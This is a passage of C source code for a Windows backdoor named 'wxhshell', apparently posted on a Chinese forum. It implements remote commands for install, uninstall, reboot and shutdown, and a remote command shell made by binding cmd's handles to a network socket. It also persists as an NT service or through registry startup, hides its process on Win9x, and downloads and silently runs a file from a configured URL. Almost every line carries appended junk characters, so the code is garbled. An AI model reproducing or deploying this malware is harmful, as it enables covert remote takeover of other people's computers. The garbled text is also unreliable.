  case '?': { \sNgs#{7E7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r mX*s} B  
    break; Hd~g\  
  } /mkT7,]  
  // 安装 Y) sB]!hx  
  case 'i': { )p\`H;7*V4  
    if(Install()) {A0jkU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YEu+kBlcQ  
    else os/h~,=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fsL9d}  
    break; QLY;@-jF$  
    } Msqqjhoy  
  // 卸载 9\Jc7[b  
  case 'r': { ]-\68bN  
    if(Uninstall()) Z/q6Q#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yB UQ!4e  
    else YSP\+ZZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]Dq6XR  
    break; n _K1%  
    } d{S'6*`D  
  // 显示 wxhshell 所在路径 c4fH/-  
  case 'p': { YV.' L  
    char svExeFile[MAX_PATH]; *yhA8fJ  
    strcpy(svExeFile,"\n\r"); Z@zo~*o  
      strcat(svExeFile,ExeFile); )'+[,z ;s  
        send(wsh,svExeFile,strlen(svExeFile),0); 2;v:Z^&  
    break; xX<f4H\'  
    } "\o#YC  
  // 重启 .LDZqWr-  
  case 'b': { w-K A~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *tqD:hiF  
    if(Boot(REBOOT)) [7I:Dm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d A)T>  
    else { [G}dPXD  
    closesocket(wsh); wn[)/*(,$(  
    ExitThread(0); L$PbC!1  
    } 2I B{FO/  
    break; p1UloG\  
    } a=MN:s?Fc0  
  // 关机 d5'Q 1"{  
  case 'd': { ]o] VS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DTezG':  
    if(Boot(SHUTDOWN)) &|Gg46P7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o/{`\4  
    else { r2RJb6  
    closesocket(wsh); * :L"#20:R  
    ExitThread(0); Z<X=00,wg  
    } ~J].~^[  
    break; #*iUZo  
    } ~0PzRS^o  
  // 获取shell |4@cX<d.  
  case 's': { _Raf7W  
    CmdShell(wsh); hz:7W8  
    closesocket(wsh); KrGl}|  
    ExitThread(0); +xYu@r%R  
    break; YS|Dw'%g /  
  } /b,>fK^  
  // 退出 m*y&z'e\  
  case 'x': { S`s]zdUTP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^% f8JoB  
    CloseIt(wsh); 'h$1 z$X5  
    break; W8& )UtWQ  
    } 1V2]@VQF  
  // 离开 |=q~X}DA  
  case 'q': { M(C">L]8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c+FTt(\8.  
    closesocket(wsh); .n7@$kq  
    WSACleanup(); s{^B98d+W  
    exit(1); sQgz}0_= )  
    break; zH1 ;h  
        } kK75(x  
  } J 1w[gf]J  
  } &PC6C<<f  
>w.;A%|N  
  // 提示信息 (G|!{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }TTghE!  
} <+*0{8?0  
  } y(|#!m?@  
3q%z  
  return; zmhc\M ?z  
} &{j!!LL  
%,[,mW4l   
// shell模块句柄 i]MemM-  
int CmdShell(SOCKET sock) 9^/Y7Wp/@  
{ a"@f< wU~  
STARTUPINFO si; 0Md>-H;ZY  
ZeroMemory(&si,sizeof(si)); _$UJ'W})/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U`6|K$@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O:0{vu9AQ  
PROCESS_INFORMATION ProcessInfo; bSe\d~{  
char cmdline[]="cmd"; &PJ;B)b  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !.UE}^TV  
  return 0; *O[/KR%  
} B?B OAH  
UNDl&C2vz  
// 自身启动模式 qm_l# u6  
int StartFromService(void) rO#w(]   
{ jRg/N_2'2  
typedef struct D9+qT<ojN  
{ WaB0?jI  
  DWORD ExitStatus; r)gK5Mv  
  DWORD PebBaseAddress; XZ%[;[  
  DWORD AffinityMask; icb)JZ1K  
  DWORD BasePriority; 4M&$wi  
  ULONG UniqueProcessId; a#]V|1*O  
  ULONG InheritedFromUniqueProcessId; ~\am%r>  
}   PROCESS_BASIC_INFORMATION; CU|E-XPW  
?>;b,^4  
PROCNTQSIP NtQueryInformationProcess; C+' -TLeu  
%Yu~56c-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "6d0j)YO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5Y+YN1  
3(oMASf  
  HANDLE             hProcess; AFi_P\X  
  PROCESS_BASIC_INFORMATION pbi; i(% 2t(wf+  
1 *' /B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g|Lbe4?  
  if(NULL == hInst ) return 0; bll[E}E|3  
*)RKU),3nL  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g**!'T4&o  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rXW.F'=K6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'xta/@Sq  
K9zr]7;th  
  if (!NtQueryInformationProcess) return 0; vb^fx$V  
U5C]zswL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,\i*vJ#f  
  if(!hProcess) return 0; X$UK;O  
E_~e/y"-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; CT'4.  
g(pr.Dw6  
  CloseHandle(hProcess); anSZWQ  
__b4dv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $1ovT8  
if(hProcess==NULL) return 0; Md4Q.8  
?EC\ .{  
HMODULE hMod; ;~0q23{+;U  
char procName[255]; 1 3 ]e< '  
unsigned long cbNeeded; *IOrv)  
|? V7E\S  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W(]A^C=/  
B& @ pZYl  
  CloseHandle(hProcess); 81E EYf  
,f^fr&6jb  
if(strstr(procName,"services")) return 1; // 以服务启动 S`vt\g$ dN  
A8tJ&O rwY  
  return 0; // 注册表启动 e.vt"eRB  
} z]9t 5I  
<( OHX3~  
// 主模块 `qJJ{<1&U  
int StartWxhshell(LPSTR lpCmdLine) Jk%5Fw0  
{ C&yZ`[K  
  SOCKET wsl; C<=rnIf'  
BOOL val=TRUE; q;[HUyY,  
  int port=0; $9?:P}$v  
  struct sockaddr_in door; CF>&mXg\  
WOn<JCh]  
  if(wscfg.ws_autoins) Install(); curYD~7  
x'0_lf</ #  
port=atoi(lpCmdLine); '!A}.wF0  
QcrhgR  
if(port<=0) port=wscfg.ws_port; 'ge$}L}4  
9 C)VW  
  WSADATA data; f_)#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  el2Wk@*  
&?y@`',a0{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y-bTKSn  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +ZbNSN=  
  door.sin_family = AF_INET; VLV]e_D6s  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); pnuo;rs  
  door.sin_port = htons(port); ~qZ6I)?  
$e+4Kt ,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { u D(C jHM>  
closesocket(wsl); CmXLD} L_x  
return 1; VWzQXo  
} FdE?uw  
hrnE5=iY  
  if(listen(wsl,2) == INVALID_SOCKET) { &Y^4>y%  
closesocket(wsl); NxF:s,a6  
return 1; W!$U{=  
} |Ogh-<|<  
  Wxhshell(wsl); 1qR$ Yr\  
  WSACleanup(); k6"(\d9o  
Pm6U:RL  
return 0; : j kO  
G>"n6v'^d  
} Pl=)eq YY  
gbYM1guiD  
// 以NT服务方式启动 `^#4okg]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) E{[Y8U1n  
{ iDcTO}  
DWORD   status = 0; %Mj,\J!  
  DWORD   specificError = 0xfffffff; aAe`o2Xs  
gs!'*U)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; oUn+tu:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w2xD1oK~o  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f3Zf97i  
  serviceStatus.dwWin32ExitCode     = 0; Sed 8Q-m  
  serviceStatus.dwServiceSpecificExitCode = 0; Ej)7[  
  serviceStatus.dwCheckPoint       = 0; @?e~l:g})g  
  serviceStatus.dwWaitHint       = 0; y0Gblza  
}J6:D]Q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^;ZpK@Luk  
  if (hServiceStatusHandle==0) return; -HGRrWS  
9<0yz?b':  
status = GetLastError(); D} B?~Lls  
  if (status!=NO_ERROR) QuEX|h,F  
{ C9?mxa*z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `uMc.:5\  
    serviceStatus.dwCheckPoint       = 0; Q9 AvNj>X  
    serviceStatus.dwWaitHint       = 0; Zoxblk  
    serviceStatus.dwWin32ExitCode     = status; Csy$1;"A  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,mx\ -lWFy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;Q,t65+Am  
    return; aV7VbC  
  } 9[JUJ,#X'0  
JwxKWVpWv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )NhC+=N  
  serviceStatus.dwCheckPoint       = 0; 2~\SUGW-  
  serviceStatus.dwWaitHint       = 0; @:RoYvk$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Dqo#+_v  
} h2x9LPLBxT  
baD063P;  
// 处理NT服务事件,比如:启动、停止 *Sdx:G~gp  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9,~7,Py}  
{ @. $- ^-  
switch(fdwControl) &xB*Shp,B  
{ OU.}H $x"  
case SERVICE_CONTROL_STOP: )V~=B]  
  serviceStatus.dwWin32ExitCode = 0; ;<m*ASM.3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i$%Bo/Y   
  serviceStatus.dwCheckPoint   = 0; W/\VpD) ?;  
  serviceStatus.dwWaitHint     = 0; ;G}  
  { ,x1OQ jtY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {H(l"KuL  
  } .xwskzJ3  
  return; 7'e sJ)2  
case SERVICE_CONTROL_PAUSE: xi{ r-D8Z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `B"sy8}x  
  break; 2DPv7\fW  
case SERVICE_CONTROL_CONTINUE: RHBQgD$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `1P|<VbZ  
  break; $%cHplQz5  
case SERVICE_CONTROL_INTERROGATE: ms5?^kS2O  
  break;  s&pnB  
}; >i*,6Psl[Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JDR_k  
} deaB_cjdI  
6d/Q"As  
// 标准应用程序主函数 VQqBo~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G\ F>*  
{ b4dviYI  
E\DA3lq  
// 获取操作系统版本 )aGSZ1`/  
OsIsNt=GetOsVer(); wHs1ge(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ws9IO ?|&G  
X uE: dL?  
  // 从命令行安装 11"r FZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); q 0F6MAXj  
fWq*Op.]c  
  // 下载执行文件 AvrvBz[  
if(wscfg.ws_downexe) { .e0)@}Jv8>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bKmwXDv'  
  WinExec(wscfg.ws_filenam,SW_HIDE); b9X*2pnWJ  
} S=-$:65  
uU3A,-{-  
if(!OsIsNt) { ,.0bE 9\o  
// 如果时win9x,隐藏进程并且设置为注册表启动 `WXlq#:K  
HideProc(); h-1?c\Qq:  
StartWxhshell(lpCmdLine); =3(Auchl$Y  
} ou-UR5  
else l90"1I A  
  if(StartFromService()) :!g|pd[{ag  
  // 以服务方式启动 v =y 2  
  StartServiceCtrlDispatcher(DispatchTable); ;DK%!."%  
else DNq(\@x[!  
  // 普通方式启动 s*la`(x  
  StartWxhshell(lpCmdLine); u*Xp%vNe  
& V>rq'~;  
return 0; 1}a4AGAp  
}
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只看该作者 1 发表于: 2006-10-10
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